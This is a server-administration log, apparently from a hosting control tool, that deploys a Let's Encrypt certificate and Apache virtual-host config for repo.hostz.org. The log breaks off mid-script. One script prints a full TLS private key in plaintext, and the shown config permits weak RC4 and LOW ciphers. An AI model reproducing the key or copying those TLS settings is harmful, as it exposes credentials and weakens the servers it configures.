MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 9cb837c312618417daea16d794ea198b
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= b23222a1b0723ecf0760bd68b4d2a070
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= f528c9aa02ebb4638264fc82862875f3
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= f40f6a600e6f86861c8cb4d0f14eea17
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= eebe5ece7f3ba31853415b418c8cf9e1
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= c980bdf14805f6ec8205412031ee5848
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.conf)= 8f23314b26a5a62466b1935b4344b379
MD5(/var/cache/bind/26d0b9e50bf0aadee17752807d692a2e.txt)= 7a6fd8c70b6f0cc9743ae2c949a5c79a
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-07-02 22:56:23: Establishing a connection
2026-07-02 22:56:24: Establishing a connection
2026-07-02 22:56:25: 

PUT: /tmp/pkp803013

#!/bin/bash
if [ -d "/var/www/hostz_repo/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-02 22:56:26: 

chmod 755 /tmp/pkp803013; /tmp/pkp803013; rm /tmp/pkp803013

2026-07-02 22:56:27: 


1


2026-07-02 22:56:28: Establishing a connection
2026-07-02 22:56:29: 

PUT: /tmp/pkp611121

#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"
cat > VWEbqVluID9gvL5_HL8feiSVtsxVnLWEX1mHOk8STi8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
VWEbqVluID9gvL5_HL8feiSVtsxVnLWEX1mHOk8STi8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 VWEbqVluID9gvL5_HL8feiSVtsxVnLWEX1mHOk8STi8


2026-07-02 22:56:30: 

chmod 755 /tmp/pkp611121; /tmp/pkp611121; rm /tmp/pkp611121

2026-07-02 22:56:30: 




2026-07-02 22:59:21: Establishing a connection
2026-07-02 22:59:22: Establishing a connection
2026-07-02 22:59:23: 

PUT: /tmp/pkp925211

#!/bin/bash
if [ -d "/var/www/hostz_repo/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-07-02 22:59:24: 

chmod 755 /tmp/pkp925211; /tmp/pkp925211; rm /tmp/pkp925211

2026-07-02 22:59:25: 


1


2026-07-02 22:59:26: Establishing a connection
2026-07-02 22:59:27: 

PUT: /tmp/pkp641486

#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"


2026-07-02 22:59:28: 

chmod 755 /tmp/pkp641486; /tmp/pkp641486; rm /tmp/pkp641486

2026-07-02 22:59:28: 




2026-07-02 22:59:29: Establishing a connection
2026-07-02 22:59:31: 

PUT: /tmp/pkp165219

#!/bin/bash
mkdir -p "/var/www/hostz_repo/.well-known/acme-challenge/"
cd "/var/www/hostz_repo/.well-known/acme-challenge/"


2026-07-02 22:59:32: 

chmod 755 /tmp/pkp165219; /tmp/pkp165219; rm /tmp/pkp165219

2026-07-02 22:59:32: 




2026-07-02 22:59:32: Establishing a connection
2026-07-02 22:59:33: 

PUT: /tmp/pkp702440

#!/bin/bash
temp_file=$(mktemp)
TARGET=39a67d98dbcb59994bb5bd629687cb8e.crt

cat > $temp_file <<'endmsg'
a9:68:f8:69:16:b1:29:c6:08:75:f4:69:b7:97:71:3d

-----BEGIN CERTIFICATE-----
MIIE9jCCA96gAwIBAgISBffDlwTAJYQER0tZugyxotvgMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNzAyMjIwMDU5WhcNMjYwOTMwMjIwMDU4WjAZMRcwFQYDVQQD
Ew5yZXBvLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AMiEsk5SWwNG+l6oYcW3C5iSFjjpEqC5z5UML38yw8CFuXhrzq+ZCFDjYJq4/Kd2
m5JGuTXmXMbio4CidadRSgvDPunWF8EIy5LtNI7ctkFHrnk8mU5JuocRbqi95N0N
8EbIcllUfPJVB8shO9DEpqEPqh3dv8RFRG8SZvCKYtdI+PmfIwrMbR7dDsm5x360
BsqpOm/p5XiE/osBZrvE7DaN+OmdEbfSIiJIW12vCk1RlUsqAC10kHW8k4dQ1E8u
Caph1+Z+dtEN8gvRLIQvtOTHWlekEGv9V1V3BJGzO8e7akWNDPxa4knV5CJPZNM3
QSq8JUYKhWsmT6ZaBScCZTkCAwEAAaOCAhwwggIYMA4GA1UdDwEB/wQEAwIFoDAT
BgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBTV/rlg
5Q+C1imiPb9Cuv6/XCvEMzAfBgNVHSMEGDAWgBQfLzW+RhSCzUCxrnksVXj699Ro
+zAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly95cjEuaS5sZW5j
ci5vcmcvMBkGA1UdEQQSMBCCDnJlcG8uaG9zdHoub3JnMBMGA1UdIAQMMAowCAYG
Z4EMAQIBMC4GA1UdHwQnMCUwI6AhoB+GHWh0dHA6Ly95cjEuYy5sZW5jci5vcmcv
OTcuY3JsMIIBDAYKKwYBBAHWeQIEAgSB/QSB+gD4AHYAyzj3FYl8hKFEX1vB3fvJ
bvKaWc1HCmkFhbDLFMMUWOcAAAGfJQ8FLgAABAMARzBFAiEAg3pMGpFmUABfFBbF
Ge3zadiNPcWpVWjqGM4PywHONBMCIBO6UMoKXU0Aww1HNzZ/GBzndTn60h9Tnczm
J5R+uW5YAH4AbP5QGUOoXqkWvFLRM+TcyR7xQRx9JYQg0XOAnhgY6zoAAAGfJQ8F
0wAIAAAFABM1LhwEAwBHMEUCIQDSErdSHBK7dAvUpbxToXuSFl6Cf13OnyiyI9J7
KQfFBQIgUEsM73Yu60F1PeF+EXdLu3N6biPgbNAIDVAsb/cmA5IwDQYJKoZIhvcN
AQELBQADggEBAHqVJYMNoV3a4ebRSLzzZ6R/u9MgD7ZoVD2IE/Teyl+Oxg725/HN
vTz7I8zDqa0IVIG2POS5U2hAd65/lCoZtRI5CQ+j/586geW+V8E8JS6LtrV8ZNDY
1tjY4T18CbyvxjEa1dsEudFsYB+/aUBwZEO7uPTtWATHxrQB2YTKCNFOpteWNMvE
cUAvmFVA8KZgDdohZrEjnAnlXKzm5XGA5NGlRmjaqpv7sv3CAyx3XHYsy+8JaNJs
/C1enWlH0/sSL4cUPgMsrLvSLBhXeqXgYV4GdXUqtuJcREOu3tXxJ0aj7rGomnJX
yfmQHU/6dxD4tE3nSETw25LQf4flfk50Ljw=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDIhLJOUlsDRvpe
qGHFtwuYkhY46RKguc+VDC9/MsPAhbl4a86vmQhQ42CauPyndpuSRrk15lzG4qOA
onWnUUoLwz7p1hfBCMuS7TSO3LZBR655PJlOSbqHEW6oveTdDfBGyHJZVHzyVQfL
ITvQxKahD6od3b/ERURvEmbwimLXSPj5nyMKzG0e3Q7Jucd+tAbKqTpv6eV4hP6L
AWa7xOw2jfjpnRG30iIiSFtdrwpNUZVLKgAtdJB1vJOHUNRPLgmqYdfmfnbRDfIL
0SyEL7Tkx1pXpBBr/VdVdwSRszvHu2pFjQz8WuJJ1eQiT2TTN0EqvCVGCoVrJk+m
WgUnAmU5AgMBAAECggEAEWiR2WJlg+qS3Ip2WJW8dD3En6K+iwUuvDQvYHXuEEYb
1NRZQJ4C3pDrB2vFhZ1ywreQp1kNV3gANXAFUmYojU5hZShA7jGfCO2+mSOY0CCS
yXRFJAqbHtRY3N4Fo1ptMJwA73f6FAjlURGc0ZJtHAER5h9lIXtZBmKc3MfK7oE/
/IHEFEdkquqkt+PPnH0+EUs3EJr6uCWUAIhxr07ziqb8ZlaSozYj32Yxpsont5oS
Ayyh5AjjeszO48gUA0Q0opwwtnA9ZESP7GM20z/rTMqjKr2pEOJvphGU5wFEyVgo
Zbc5V5B1dLQM9P4umFhNrrjBAvKkpqkIGYIWU+99YQKBgQD/DBaRZwqlSsCZdU+Z
/H560EB39PBPjdVtqLVcGcSOI0MEgfJ8qAxUh0/uAZD9LqiS0yg3zXVFc019Y/Us
MK603mSLwfvklfdQL1IoTn0wkYOPINfRyPurd9LuBmN2LPinsKrRMcU8IRYf+PMy
ljOPQhNt0Yxbep29CxzWd6ZNkQKBgQDJRHXQahaSmVMnGKmYekkjhlvrpV4nPTOA
dNqArv+TWpgxxbbvGkngem0UvDhk+trsqJfVArPZm2AVfjCBmce37NTBWvcWtoG9
v4Osx0MFg4L3UvipYY12tMP6cSmxzWz1XLFp0VHsEkCQNCb6AcNR2ORMsxrqaCPA
9XbkvNfpKQKBgQCfjclkhyjSxRP+LLRyqdHaNQPPx4y6yAk4A+4JQxmCri6T2FOB
hoPIMapgQ9yXdyQATlb/qenuW7ajdfAACCiTf/k4sU9K7kJ8iE4GZyvMQYwi8zHw
zKIc3+Y2AAsi9/lKtqv2GQPBnRVBRTWndO2mdni/H/OFmwypIhWVWd7Q8QKBgBM2
ZcivV9hGqplg0U+s3K53dO7ZqlM0lGX+wZznF56JV13o8b2BVOwIw8Dm9rss9xkA
Pv4mc+Sh4Fos4ZR9iYMVKHoMpOmWImxqi7dCjjNIiofxc6s3lLlwKAUQKFrAsVX6
szTWtmtCkscxM0dKQ8rcWW646ijWKBOTWvYa0MGBAoGAdSprkbXW3wXTb/sWoLv2
N2Fe13v4Kgn7Sv0YByQxgJmeuegV56UW4DHOlrkQtBoqM+90SfBerv+jAXYYQuMb
BN5RyIj/B2Wmnaz1yzOQATIvpjDM86sTBCF7G4tgiZj4gUg65dFoSJhHX3wpPC9b
jNls5HvPNZHmx4/EjAEKpBY=
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-07-02 22:59:34: 

chmod 755 /tmp/pkp702440; /tmp/pkp702440; rm /tmp/pkp702440

2026-07-02 22:59:34: 


dir=/etc/pki/tls/certs/


2026-07-02 22:59:34: 

PUT: /tmp/pkp730918

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/httpd
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/httpd/conf.d/hostz_repo_org.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-07-02 22:59:35: 

chmod 755 /tmp/pkp730918; /tmp/pkp730918; rm /tmp/pkp730918

2026-07-02 22:59:35: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/hostz_repo_org.conf 1840

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//39a67d98dbcb59994bb5bd629687cb8e.crt
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/hostz/repo_secure_access.log combined
    ErrorLog	/var/log/httpd/hostz/repo_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-07-02 22:59:35: 

PUT: /tmp/pkp389822

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/httpd
BASENAME=hostz_repo_org.conf
TARGET=/etc/httpd/conf.d/hostz_repo_org.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	repo.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_repo
    <Directory /var/www/hostz_repo>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
